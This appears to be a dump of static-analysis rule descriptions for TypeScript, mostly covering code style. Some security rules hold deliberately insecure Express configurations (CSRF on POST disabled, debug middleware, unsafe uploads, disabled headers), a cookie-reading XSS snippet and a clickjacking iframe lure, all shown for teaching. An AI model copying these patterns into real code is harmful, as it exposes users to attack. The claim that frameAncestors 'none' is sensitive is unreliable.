Template strings allow developers to embed variables or expressions in strings using template literals, instead of string concatenation. This is done by using expressions like ${variable} in a string between two back-ticks (`). However, when used in a regular string literal (between double or single quotes) the template will not be evaluated and will be used as a literal, which is probably not what was intended.

Noncompliant Code Example

console.log("Today is ${date}"); // Noncompliant

Compliant Solution

console.log(`Today is ${date}`);
typescript:S1125

Boolean literals should be avoided in comparison expressions == and != to improve code readability.

This rule also reports on redundant boolean operations.

Noncompliant Code Example

let someValue = "0";
// ...

if (someValue == true) { /* ... */ }
if (someBooleanValue != true) { /* ... */ }
doSomething(!false);

Compliant Solution

if (someValue && someValue != "0") { /* ... */ }
if (!someBooleanValue) { /* ... */ }
doSomething(true);
typescript:S1488

Declaring a variable only to immediately return or throw it is a bad practice.

Some developers argue that the practice improves code readability, because it enables them to explicitly name what is being returned. However, this variable is an internal implementation detail that is not exposed to the callers of the method. The method name should be sufficient for callers to know exactly what will be returned.

Noncompliant Code Example

function computeDurationInMilliseconds() {
  var duration = (((hours * 60) + minutes) * 60 + seconds ) * 1000 ;
  return duration;
}

Compliant Solution

function computeDurationInMilliseconds() {
  return (((hours * 60) + minutes) * 60 + seconds ) * 1000 ;
}
typescript:S1116

Extra semicolons (;) are usually introduced by mistake, for example because:

  • It was meant to be replaced by an actual statement, but this was forgotten.
  • There was a typo which lead the semicolon to be doubled, i.e. ;;.
  • There was a misunderstanding about where semicolons are required or useful.

Noncompliant Code Example

var x = 1;; // Noncompliant

function foo() {
};  // Noncompliant

Compliant Solution

var x = 1;

function foo() {
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • CERT, MSC51-J. - Do not place a semicolon immediately following an if, for, or while condition
  • CERT, EXP15-C. - Do not place a semicolon on the same line as an if, for, or while statement
typescript:S1479

When switch statements have large sets of case clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

typescript:S4507

Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:

An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.

Ask Yourself Whether

  • the code or configuration enabling the application debug features is deployed on production servers.
  • the application runs by default with debug features activated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Do not enable debug features on production servers.

Sensitive Code Example

errorhandler Express.js middleware should not be used in production:

const express = require('express');
const errorhandler = require('errorhandler');

let app = express();
app.use(errorhandler()); // Sensitive

Compliant Solution

errorhandler Express.js middleware used only in development mode:

const express = require('express');
const errorhandler = require('errorhandler');

let app = express();

if (process.env.NODE_ENV === 'development') {  // Compliant
  app.use(errorhandler());  // Compliant
}

See

typescript:S1117

Overriding or shadowing a variable declared in an outer scope can strongly impact the readability, and therefore the maintainability, of a piece of code. Further, it could lead maintainers to introduce bugs because they think they're using one variable but are really using another.

See

typescript:S2208

On the principle that clearer code is better code, you should explicitly import the things you want to use in a module. Using import * imports everything in the module, and runs the risk of confusing maintainers. Similarly, export * from "module"; imports and then re-exports everything in the module, and runs the risk of confusing not just maintainers but also users of the module.

Noncompliant Code Example

import * as Imported from "aModule";  // Noncompliant
typescript:S1119

Labels are not commonly used, and many developers do not understand how they work. Moreover, their usage makes the control flow harder to follow, which reduces the code's readability.

Noncompliant Code Example

myLabel: {
  let x = doSomething();
  if (x > 0) {
    break myLabel;
  }
  doSomethingElse();
}

Compliant Solution

let x = doSomething();
if (x <= 0) {
  doSomethingElse();
}

 

typescript:S1472

Because semicolons at the ends of statements are optional, starting function call arguments on a separate line makes the code confusing. It could lead to errors and most likely will lead to questions for maintainers.

What was the initial intent of the developer?

  1. Define a function and then execute some unrelated code inside a closure ?
  2. Pass the second function as a parameter to the first one ?

The first option will be the one chosen by the JavaScript interpreter.

By extension, and to improve readability, any kind of function call argument should not start on new line.

Noncompliant Code Example

var fn = function () {
  //...
}

(function () { // Noncompliant
  //...
})();

Compliant Solution

Either

// define a function
var fn = function () {
  //...
}; // <-- semicolon added

// then execute some code inside a closure
(function () {
  //...
})();

Or

var fn = function () {
  //...
}(function () { // <-- start function call arguments on same line
  //...
})();
typescript:S2681

Curly braces can be omitted from a one-line block, such as with an if statement or for loop, but doing so can be misleading and induce bugs.

This rule raises an issue when the whitespacing of the lines after a one line block indicates an intent to include those lines in the block, but the omission of curly braces means the lines will be unconditionally executed once.

Note that this rule considers tab characters to be equivalent to 1 space. If you mix spaces and tabs you will sometimes see issues in code which looks fine in your editor but is confusing when you change the size of tabs.

Noncompliant Code Example

if (condition)
  firstActionInBlock();
  secondAction();  // Noncompliant; executed unconditionally
thirdAction();

if (condition) firstActionInBlock(); secondAction();  // Noncompliant; secondAction executed unconditionally

if (condition) firstActionInBlock();  // Noncompliant
  secondAction();  // Executed unconditionally

if (condition); secondAction();  // Noncompliant; secondAction executed unconditionally

let str = undefined;
for (let i = 0; i < array.length; i++)
  str = array[i];
  doTheThing(str);  // Noncompliant; executed only on last array element

Compliant Solution

if (condition) {
  firstActionInBlock();
  secondAction();
}
thirdAction();

let str = undefined;
for (let i = 0; i < array.length; i++) {
  str = array[i];
  doTheThing(str);
}

See

typescript:S3531

A generator without a yield statement is at best confusing, and at worst a bug in your code, since the iterator produced by your code will always be empty.

Noncompliant Code Example

function* myGen(a, b) {  // Noncompliant
  let answer = 0;
  answer += a * b;
}

Compliant Solution

function* myGen(a, b) {
  let answer = 0;
  while (answer < 42) {
    answer += a * b;
    yield answer;
  }
}
typescript:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

let x = (y / 2 + 1);   //Compliant even if those parenthesis are useless for the compiler

if (a && ((x+y > 0))) {  // Noncompliant
  //...
}

return ((x + 1));  // Noncompliant

Compliant Solution

let x = (y / 2 + 1);

if (a && (x+y > 0)) {
  //...
}

return (x + 1);
typescript:S4502

Cross-site request forgery (CSRF) vulnerabilities occur when attackers can trick a user to perform sensitive authenticated operations on a web application without his consent.

Imagine a web application where an authenticated user can do actions like changing his email address and which has no CSRF protection. A malicious website could forge a web page form to send the HTTP request that change the user email. When the user visits the malicious web page, the form is automatically submitted in his name and his account email is changed to an arbitrary email.

Such an attack is only possible if the web browser automatically sends authentication information to the trusted domain (e.g cookie based authentication)

Ask Yourself Whether

  • The web application uses cookies to authenticate users.
  • There exist sensitive operations in the web application that can be performed when the user is authenticated.
  • The state / resources of the web application can be modified by doing HTTP POST or HTTP DELETE requests for example.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Protection against CSRF attacks is strongly recommended:
    • to be activated by default for all unsafe HTTP methods.
    • implemented, for example, with an unguessable CSRF token
  • Of course all sensitive operations should not be performed with safe HTTP methods like GET which are designed to be used only for information retrieval.

Sensitive Code Example

Express.js CSURF middleware protection is not found on an unsafe HTTP method like POST method:

let csrf = require('csurf');
let express = require('express');

let csrfProtection = csrf({ cookie: true });

let app = express();

// Sensitive: this operation doesn't look like protected by CSURF middleware (csrfProtection is not used)
app.post('/money_transfer', parseForm, function (req, res) {
  res.send('Money transferred');
});

Protection provided by Express.js CSURF middleware is globally disabled on unsafe methods:

let csrf = require('csurf');
let express = require('express');

app.use(csrf({ cookie: true, ignoreMethods: ["POST", "GET"] })); // Sensitive as POST is unsafe method

Compliant Solution

Express.js CSURF middleware protection is used on unsafe methods:

let csrf = require('csurf');
let express = require('express');

let csrfProtection = csrf({ cookie:  true });

let app = express();

app.post('/money_transfer', parseForm, csrfProtection, function (req, res) { // Compliant
  res.send('Money transferred')
});

Protection provided by Express.js CSURF middleware is enabled on unsafe methods:

let csrf = require('csurf');
let express = require('express');

app.use(csrf({ cookie: true, ignoreMethods: ["GET"] })); // Compliant

See

typescript:S3533

Before ECMAScript 2015, module management had to be ad-hoc or provided by 3rd-party libraries such as Node.js, Webpack, or RequireJS. Fortunately, ES2015, provides language-standard mechanisms for module management, import and export, and older usages should be converted.

Noncompliant Code Example

// circle.js
exports.area = function (r) {
  return PI * r * r;
};

// foo.js
define(["./cart", "./horse"], function(cart, horse) {  // Noncompliant
  // ...
});

// bar.js
const circle = require('./circle.js');  // Noncompliant

Compliant Solution

// circle.js
let area = function (r) {
  return PI * r * r;
}
export default area;

// foo.js
import cart from "./cart.js";
import horse from "./horse.js";

// bar.js
import circle from "./circle.js"
typescript:S4623

Unlike in JavaScript, where every parameter can be omitted, in TypeScript you need to explicitly declare this in the function signature. Either you add ? in the parameter declaration and undefined will be automatically applied to this parameter. Or you add an initializer with a default value in the parameter declaration. In the latter case, when passing undefined for such parameter, default value will be applied as well. So it's better to avoid passing undefined value to an optional or default parameter because it creates more confusion than it brings clarity. Note, that this rule is only applied to the last arguments in function call.

Noncompliant Code Example

function foo(x: number, y: string = "default", z?: number) {
  // ...
}

foo(42, undefined); // Noncompliant
foo(42, undefined, undefined); // Noncompliant
foo(42, undefined, 5); // OK, there is no other way to force default value for second parameter

Compliant Solution

function foo(x: number, y: string = "default", z?: number) {
  // ...
}

foo(42);
typescript:S2685

Both arguments.caller and arguments.callee make quite a few optimizations impossible so they were deprecated in latest versions of JavaScript. In fact, EcmaScript 5 forbids the use of both in strict mode, according to the docs:

Arguments objects for strict mode functions define non-configurable accessor properties named "caller" and "callee" which throw a TypeError exception on access.

The same restriction applies to the function's caller and arguments properties in strict mode.

Noncompliant Code Example

function whoCalled() {
   if (arguments.caller == null)   //Noncompliant
      console.log('I was called from the global scope.');
   else
      console.log(arguments.caller + ' called me!');  // Noncompliant

  console.log(whoCalled.caller);  // Noncompliant
  console.log(whoCalled.arguments);  // Noncompliant
}
typescript:S2201

When the call to a function doesn't have any side effects, what is the point of making the call if the results are ignored? In such case, either the function call is useless and should be dropped or the source code doesn't behave as expected.

To prevent generating any false-positives, this rule triggers an issues only on a predefined list of known objects & functions.

Noncompliant Code Example

'hello'.lastIndexOf('e'); // Noncompliant

Compliant Solution

let char = 'hello'.lastIndexOf('e');

See

typescript:S4624

Template literals (previously named "template strings") are an elegant way to build a string without using the + operator to make strings concatenation more readable.

However, it's possible to build complex string literals by nesting together multiple template literals, and therefore lose readability and maintainability.

In such situations, it's preferable to move the nested template into a separate statement.

Noncompliant Code Example

let color = "red";
let count = 3;
let message = `I have ${color ? `${count} ${color}` : count} apples`; // Noncompliant; nested template strings not easy to read

Compliant Solution

let color = "red";
let count = 3;
let apples = color ? `${count} ${color}` : count;
let message = `I have ${apples} apples`;
typescript:S2688

NaN is not equal to anything, even itself. Testing for equality or inequality against NaN will yield predictable results, but probably not the ones you want.

Instead, the best way to see whether a variable is equal to NaN is to use Number.isNaN(), since ES2015, or (perhaps counter-intuitively) to compare it to itself. Since NaN !== NaN, when a !== a, you know it must equal NaN.

Noncompliant Code Example

var a = NaN;

if (a === NaN) {  // Noncompliant; always false
  console.log("a is not a number");  // this is dead code
}
if (a !== NaN) { // Noncompliant; always true
  console.log("a is not NaN"); // this statement is not necessarily true
}

Compliant Solution

if (Number.isNaN(a)) {
  console.log("a is not a number");
}
if (!Number.isNaN(a)) {
  console.log("a is not NaN");
}

See

typescript:S4621

The TypeScript type system offers a basic support for composite types:

  • Union Types represent a value that can be one of the several types. They are constructed using a vertical bar (|) like the following type NumberOrString = number | string.
  • Intersection Types combine multiple types into one, so that the object of such type will have all the members of all intersection type elements. They are constructed using an ampersand (&) like the following type SerializablePerson = Person & Serializable. Intersection Types are often used to represent mixins.

Duplicating types when defining a union or interaction type makes the code less readable. Moreover duplicated types might be a simple mistake and another type should be used instead.

Noncompliant Code Example

function padLeft(value: string, padding: string | number | string) { // Noncompliant; 'string' type is used twice in a union type declaration
  // ...
}

function extend(p : Person) : Person & Person & Loggable { // Noncompliant; 'Person' is used twice
 // ...
}

Compliant Solution

function padLeft(value: string, padding: string | number | boolean) {
  // ...
}

function extend(p : Person) : Person & Loggable {
  // ...
}
typescript:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

typescript:S4622

Union types represent a value that can be one of the several types. When a union type is used for a function parameter and it is accepting too many types, it may indicate the function is having too many responsibilities. Sometimes it's worth creating a type alias for this union type. In all cases, the code should be reviewed and refactored to make it more maintainable.

Noncompliant Code Example

With the default threshold of 3:

let x: MyType1 | MyType2 | MyType3 | MyType4; // Noncompliant

function foo(p1: string, p2: MyType1 | MyType2 | MyType3 | MyType4) { // Noncompliant
    // ...
}

Compliant Solution

type MyUnionType = MyType1 | MyType2 | MyType3 | MyType4; // Compliant, "type" statements are ignored
let x: MyUnionType;

function foo(value: string, padding: MyUnionType) {
    // ...
}

Exceptions

This rule ignores union types part of type statement:

type MyUnionType = MyType1 | MyType2 | MyType3 | MyType4;
typescript:S878

The comma operator takes two expressions, executes them from left to right and returns the result of the second one. Use of this operator is generally detrimental to the readability and reliability of code, and the same effect can be achieved by other means.

Noncompliant Code Example

i = a += 2, a + b;  // What's the value of i ?

Compliant Solution

a +=  2;
i = a + b;

Exceptions

Use of comma operator is tolerated:

  • in initialization and increment expressions of for loops.
for(i = 0, j = 5; i < 6; i++, j++) { ... }
  • If the expression sequence is explicitly wrapped in parentheses.
typescript:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

Noncompliant Code Example

function foo(n, m) {
  switch (n) {
    case 0:
      switch (m) {  // Noncompliant; nested switch
        // ...
      }
    case 1:
      // ...
    default:
      // ...
  }
}

Compliant Solution

function foo(n, m) {
  switch (n) {
    case 0:
      bar(m);
    case 1:
      // ...
    default:
      // ...
  }
}

function bar(m) {
  switch(m) {
    // ...
  }
}
typescript:S881

The use of increment and decrement operators in method calls or in combination with other arithmetic operators is not recommended, because:

  • It can significantly impair the readability of the code.
  • It introduces additional side effects into a statement, with the potential for undefined behavior.
  • It is safer to use these operators in isolation from any other arithmetic operators.

Noncompliant Code Example

u8a = ++u8b + u8c--;
foo = bar++ / 4;

Compliant Solution

The following sequence is clearer and therefore safer:

++u8b;
u8a = u8b + u8c;
u8c--;
foo = bar / 4;
bar++;

See

  • CERT, EXP30-C. - Do not depend on the order of evaluation for side effects
  • CERT, EXP50-CPP. - Do not depend on the order of evaluation for side effects
  • CERT, EXP05-J. - Do not follow a write by a subsequent write or read of the same object within an expression
typescript:S5742

Certificate Transparency (CT) is an open-framework to protect against identity theft when certificates are issued. Certificate Authorities (CA) electronically sign certificate after verifying the identify of the certificate owner. Attackers use, among other things, social engineering attacks to trick a CA to correctly verifying a spoofed identity/forged certificate.

CAs implement Certificate Transparency framework to publicly log the records of newly issued certificates, allowing the public and in particular the identity owner to monitor these logs to verify that his identify was not usurped.

Ask Yourself Whether

  • The website identity is valuable and well-known, therefore prone to theft.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement Expect-CT HTTP header which instructs the web browser to check public CT logs in order to verify if the website appears inside and if it is not, the browser will block the request and display a warning to the user.

Sensitive Code Example

In Express.js application the code is sensitive if the expect-ct middleware is disabled:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
    helmet({
      expectCt: false // Sensitive
    })
);

Compliant Solution

In Express.js application the expect-ct middleware is the standard way to implement expect-ct. Usually, the deployment of this policy starts with the report only mode (enforce: false) and with a low maxAge (the number of seconds the policy will apply) value and next if everything works well it is recommended to block future connections that violate Expect-CT policy (enforce: true) and greater value for maxAge directive:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(helmet.expectCt({
  enforce: true,
  maxAge: 86400
})); // Compliant

See

typescript:S1264

When only the condition expression is defined in a for loop, and the initialization and increment expressions are missing, a while loop should be used instead to increase readability.

Noncompliant Code Example

for (;condition;) { /*...*/ }

Compliant Solution

while (condition) { /*...*/ }
typescript:S1143

Using return, break, throw, and continue from a finally block overwrites similar statements from the suspended try and catch blocks.

This rule raises an issue when a jump statement (break, continue, return and throw) would force control flow to leave a finally block.

Noncompliant Code Example

function foo() {
    try {
        return 1; // We expect 1 to be returned
    } catch(err) {
        return 2; // Or 2 in cases of error
    } finally {
        return 3; // Noncompliant: 3 is returned before 1, or 2, which we did not expect
    }
}

Compliant Solution

function foo() {
    try {
        return 1; // We expect 1 to be returned
    } catch(err) {
        return 2; // Or 2 in cases of error
    }
}

See

typescript:S2598

These minimum restrictions should be applied when handling file uploads:

  • the file upload folder to restrict untrusted files to a specific folder.
  • the file extension of the uploaded file to prevent remote code execution.

Also the size of the uploaded file should be limited to prevent denial of service attacks. This requirement is covered by the rule S5693.

Noncompliant Code Example

formidable module:

const Formidable = require('formidable');

const form = new Formidable(); // Noncompliant, this form is not safe
form.uploadDir = ""; // because upload dir is not defined (by default os temp dir: /var/tmp or /tmp)
form.keepExtensions = true; // and file extensions are kept

multer (Express.js middleware) module:

const multer = require('multer');

let diskStorage = multer.diskStorage({ // Noncompliant: no destination specified
  filename: (req, file, cb) => {
    const buf = crypto.randomBytes(20);
    cb(null, buf.toString('hex'))
  }
});

// This upload is not safe as no destination specified, /var/tmp or /tmp will be used
let diskupload = multer({
  storage: diskStorage,
});

Compliant Solution

formidable module:

const Formidable = require('formidable');

const form = new Formidable(); // Compliant
form.uploadDir = "./uploads/";
form.keepExtensions = false;

multer (Express.js middleware) module:

const multer = require('multer');

let diskStorage = multer.diskStorage({  // Compliant
  filename: (req, file, cb) => {
    const buf = crypto.randomBytes(20);
    cb(null, buf.toString('hex'))
  },
  destination: (req, file, cb) => {
    cb(null, './uploads/')
  }
});

let diskupload = multer({
  storage: diskStorage,
});

See

typescript:S2234

When the names of arguments in a function call match the names of the function parameters, it contributes to clearer, more readable code. However, when the names match, but are passed in a different order than the function parameters, it indicates a mistake in the parameter order which will likely lead to unexpected results.

Noncompliant Code Example

function divide(divisor, dividend) {
  return divisor/dividend;
}

function doTheThing() {
  var divisor = 15;
  var dividend = 5;

  var result = divide(dividend, divisor);  // Noncompliant; operation succeeds, but result is unexpected
  //...
}

Compliant Solution

function divide(divisor, dividend) {
  return divisor/dividend;
}

function doTheThing() {
  var divisor = 15;
  var dividend = 5;

  var result = divide(divisor, dividend);
  //...
}
typescript:S5743

By default, web browsers perform DNS prefetching to reduce latency due to DNS resolutions required when an user clicks links from a website page.

For instance on example.com the hyperlink below contains a cross-origin domain name that must be resolved to an IP address by the web browser:

<a href="https://otherexample.com">go on our partner website</a>

It can add significant latency during requests, especially if the page contains many links to cross-origin domains. DNS prefetch allows web browsers to perform DNS resolving in the background before the user clicks a link. This feature can cause privacy issues because DNS resolving from the user's computer is performed without his consent if he doesn't intent to go to the linked website.

On a complex private webpage, a combination "of unique links/DNS resolutions" can indicate, to a eavesdropper for instance, that the user is visiting the private page.

Ask Yourself Whether

  • Links to cross-origin domains could result in leakage of confidential information about the user's navigation/behavior of the website.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement X-DNS-Prefetch-Control header with an off value but this could significantly degrade website performances.

Sensitive Code Example

In Express.js application the code is sensitive if the dns-prefetch-control middleware is disabled or used without the recommended value:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.dnsPrefetchControl({
    allow: true // Sensitive: allowing DNS prefetching is security-sensitive
  })
);

Compliant Solution

In Express.js application the dns-prefetch-control or helmet middleware is the standard way to implement X-DNS-Prefetch-Control header:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.dnsPrefetchControl({
    allow: false // Compliant
  })
);

See

typescript:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if (!(a === 2)) { ... }  // Noncompliant

Compliant Solution

if (a !== 2) { ... }
typescript:S3317

By convention, a file that exports only one class, function, or constant should be named for that class, function or constant. Anything else may confuse maintainers.

Noncompliant Code Example

// file path: myclass.js  -- Noncompliant
class MyClass {
  // ...
}
export default MyClass;

Compliant Solution

// file path: MyClass.js
class MyClass {
  // ...
}
export default MyClass;

Exceptions

Case, underscores ( _ ) and dashes (-) are ignored from the name comparison.

typescript:S5739

When implementing the HTTPS protocol, the website mostly continue to support the HTTP protocol to redirect users to HTTPS when they request a HTTP version of the website. These redirects are not encrypted and are therefore vulnerable to man in the middle attacks. The Strict-Transport-Security policy header (HSTS) set by an application instructs the web browser to convert any HTTP request to HTTPS.

Web browsers that see the Strict-Transport-Security policy header for the first time record information specified in the header:

  • the max-age directive which specify how long the policy should be kept on the web browser.
  • the includeSubDomains optional directive which specify if the policy should apply on all sub-domains or not.
  • the preload optional directive which is not part of the HSTS specification but supported on all modern web browsers.

With the preload directive the web browser never connects in HTTP to the website and to use this directive, it is required to submit the concerned application to a preload service maintained by Google.

Ask Yourself Whether

  • The website is accessible with the unencrypted HTTP protocol.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement Strict-Transport-Security policy header, it is recommended to apply this policy to all subdomains (includeSubDomains) and for at least 6 months (max-age=15552000) or even better for 1 year (max-age=31536000).

Sensitive Code Example

In Express.js application the code is sensitive if the helmet or hsts middleware are disabled or used without recommended values:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(helmet.hsts({
  maxAge: 3153600, // Sensitive, recommended >= 15552000
  includeSubDomains: false // Sensitive, recommended 'true'
}));

Compliant Solution

In Express.js application a standard way to implement HSTS is with the helmet or hsts middleware:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(helmet.hsts({
  maxAge: 31536000,
  includeSubDomains: true
})); // Compliant

See

typescript:S5736

HTTP header referer contains a URL set by web browsers and used by applications to track from where the user came from, it's for instance a relevant value for web analytic services, but it can cause serious privacy and security problems if the URL contains confidential information. Note that Firefox for instance, to prevent data leaks, removes path information in the Referer header while browsing privately.

Suppose an e-commerce website asks the user his credit card number to purchase a product:

<html>
<body>
<form action="/valid_order" method="GET">
Type your credit card number to purchase products:
<input type=text id="cc" value="1111-2222-3333-4444">
<input type=submit>
</form>
</body>

When submitting the above HTML form, a HTTP GET request will be performed, the URL requested will be https://example.com/valid_order?cc=1111-2222-3333-4444 with credit card number inside and it's obviously not secure for these reasons:

  • URLs are stored in the history of browsers.
  • URLs could be accidentally shared when doing copy/paste actions.
  • URLs can be stolen if a malicious person looks at the computer screen of an user.

In addition to these threats, when further requests will be performed from the "valid_order" page with a simple legitimate embedded script like that:

<script src="https://webanalyticservices_example.com/track">

The referer header which contains confidential information will be send to a third party web analytic service and cause privacy issue:

GET /track HTTP/2.0
Host: webanalyticservices_example.com
Referer: https://example.com/valid_order?cc=1111-2222-3333-4444

Ask Yourself Whether

  • Confidential information exists in URLs.
  • Semantic of HTTP methods is not respected (eg: use of a GET method instead of POST when the state of the application is changed).

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Confidential information should not be set inside URLs (GET requests) of the application and a safe (ie: different from unsafe-url or no-referrer-when-downgrade) referrer-Policy header, to control how much information is included in the referer header, should be used.

Sensitive Code Example

In Express.js application the code is sensitive if the helmet referrerPolicy middleware is disabled or used with no-referrer-when-downgrade or unsafe-url:

const express = require('express');
const helmet = require('helmet');

app.use(
  helmet.referrerPolicy({
    policy: 'no-referrer-when-downgrade' // Sensitive: no-referrer-when-downgrade is used
  })
);

Compliant Solution

In Express.js application a secure solution is to user the helmet referrer policy middleware set to no-referrer:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.referrerPolicy({
    policy: 'no-referrer' // Compliant
  })
);

See

typescript:S5730

A mixed-content is when a resource is loaded with the HTTP protocol, from a website accessed with the HTTPs protocol, thus mixed-content are not encrypted and exposed to MITM attacks and could break the entire level of protection that was desired by implementing encryption with the HTTPs protocol.

The main threat with mixed-content is not only the confidentiality of resources but the whole website integrity:

  • A passive mixed-content (eg: <img src="http://example.com/picture.png">) allows an attacker to access and replace only these resources, like images, with malicious ones that could lead to successful phishing attacks.
  • With active mixed-content (eg: <script src="http://example.com/library.js">) an attacker can compromise the entire website by injecting malicious javascript code for example (accessing and modifying the DOM, steal cookies, etc).

Ask Yourself Whether

  • The HTTPS protocol is in place and external resources are fetched from the website pages.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement content security policy block-all-mixed-content directive which is supported by all modern browsers and will block loading of mixed-contents.

Sensitive Code Example

In Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the blockAllMixedContent directive:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      "default-src": ["'self'", 'example.com', 'code.jquery.com']
    } // Sensitive: blockAllMixedContent directive is missing
  })
);

Compliant Solution

In Express.js application a standard way to block mixed-content is to put in place the helmet-csp or helmet middleware with the blockAllMixedContent directive:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      "default-src": ["'self'", 'example.com', 'code.jquery.com'],
      blockAllMixedContent: [] // Compliant
    }
  })
);

See

typescript:S1131

Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file.

If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so.

Noncompliant Code Example

// The following string will error if there is a whitespace after '\'
var str = "Hello \
World";
typescript:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

function divide(numerator, denominator) {
  return numerator / denominator;              // FIXME denominator value might be  0
}

See

typescript:S5734

MIME confusion attacks occur when an attacker successfully tricks a web-browser to interpret a resource as a different type than the one expected. To correctly interpret a resource (script, image, stylesheet ...) web browsers look for the Content-Type header defined in the HTTP response received from the server, but often this header is not set or is set with an incorrect value. To avoid content-type mismatch and to provide the best user experience, web browsers try to deduce the right content-type, generally by inspecting the content of the resources (the first bytes). This "guess mechanism" is called MIME type sniffing.

Attackers can take advantage of this feature when a website ("example.com" here) allows to upload arbitrary files. In that case, an attacker can upload a malicious image fakeimage.png (containing malicious JavaScript code or a polyglot content file) such as:

<script>alert(document.cookie)</script>

When the victim will visit the website showing the uploaded image, the malicious script embedded into the image will be executed by web browsers performing MIME type sniffing.

Ask Yourself Whether

  • Content-Type header is not systematically set for all resources.
  • Content of resources can be controlled by users.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Implement X-Content-Type-Options header with nosniff value (the only existing value for this header) which is supported by all modern browsers and will prevent browsers from performing MIME type sniffing, so that in case of Content-Type header mismatch, the resource is not interpreted. For example within a <script> object context, JavaScript MIME types are expected (like application/javascript) in the Content-Type header.

Sensitive Code Example

In Express.js application the code is sensitive if, when using helmet, the noSniff middleware is disabled:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet({
    noSniff: false, // Sensitive
  })
);

Compliant Solution

When using helmet in an Express.js application, the noSniff middleware should be enabled (it is also done by default):

const express = require('express');
const helmet= require('helmet');

let app = express();

app.use(helmet.noSniff());

See

typescript:S4524

switch can contain a default clause for various reasons: to handle unexpected values, to show that all the cases were properly considered.

For readability purpose, to help a developer to quickly find the default behavior of a switch statement, it is recommended to put the default clause at the end of the switch statement. This rule raises an issue if the default clause is not the first or the last one of the switch's cases.

Noncompliant Code Example

switch (param) {
  case 0:
    doSomething();
    break;
  default: // default clause should be the first or last one
    error();
    break;
  case 1:
    doSomethingElse();
    break;
}

Compliant Solution

switch (param) {
  case 0:
    doSomething();
    break;
  case 1:
    doSomethingElse();
    break;
  default:
    error();
    break;
}
typescript:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

function doSomething() {
  // TODO
}

See

typescript:S3799

Destructuring is a convenient way of extracting multiple values from data stored in (possibly nested) objects and arrays. However, it is possible to create an empty pattern that has no effect. When empty curly braces or brackets are used to the right of a property name most of the time the intent was to use a default value instead.

This rule raises an issue when empty destructuring pattern is used.

Noncompliant Code Example

var {a: {}, b} = myObj; // Noncompliant
function foo({first: [], second}) { // Noncompliant
  // ...
}

Compliant Solution

var {a = {}, b} = myObj;
function foo({first = [], second}) {
  // ...
}
typescript:S5732

Clickjacking attacks occur when an attacker try to trick an user to click on certain buttons/links of a legit website. This attack can take place with malicious HTML frames well hidden in an attacker website.

For instance, suppose a safe and authentic page of a social network (https://socialnetworkexample.com/makemyprofilpublic) which allows an user to change the visibility of his profile by clicking on a button. This is a critical feature with high privacy concerns. Users are generally well informed on the social network of the consequences of this action. An attacker can trick users, without their consent, to do this action with the below embedded code added on a malicious website:

<html>
<b>Click on the button below to win 5000$</b>
<br>
<iframe src="https://socialnetworkexample.com/makemyprofilpublic" width="200" height="200"></iframe>
</html>

Playing with the size of the iframe it's sometimes possible to display only the critical parts of a page, in this case the button of the makemyprofilpublic page.

Ask Yourself Whether

  • Critical actions of the application are prone to clickjacking attacks because a simple click on a link or a button can trigger them.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement content security policy frame-ancestors directive which is supported by all modern browsers and will specify the origins of frame allowed to be loaded by the browser (this directive deprecates X-Frame-Options).

Sensitive Code Example

In Express.js application the code is sensitive if the helmet-csp or helmet middleware is used without the frameAncestors directive (or if frameAncestors is set to 'none'):

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      // other directives
      frameAncestors: ["'none'"] // Sensitive: frameAncestors  is set to none
    }
  })
);

Compliant Solution

In Express.js application a standard way to implement CSP frame-ancestors directive is the helmet-csp or helmet middleware:

const express = require('express');
const helmet = require('helmet');

let app = express();

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      // other directives
      frameAncestors: ["'example.com'"] // Compliant
    }
  })
);

See

typescript:S2589

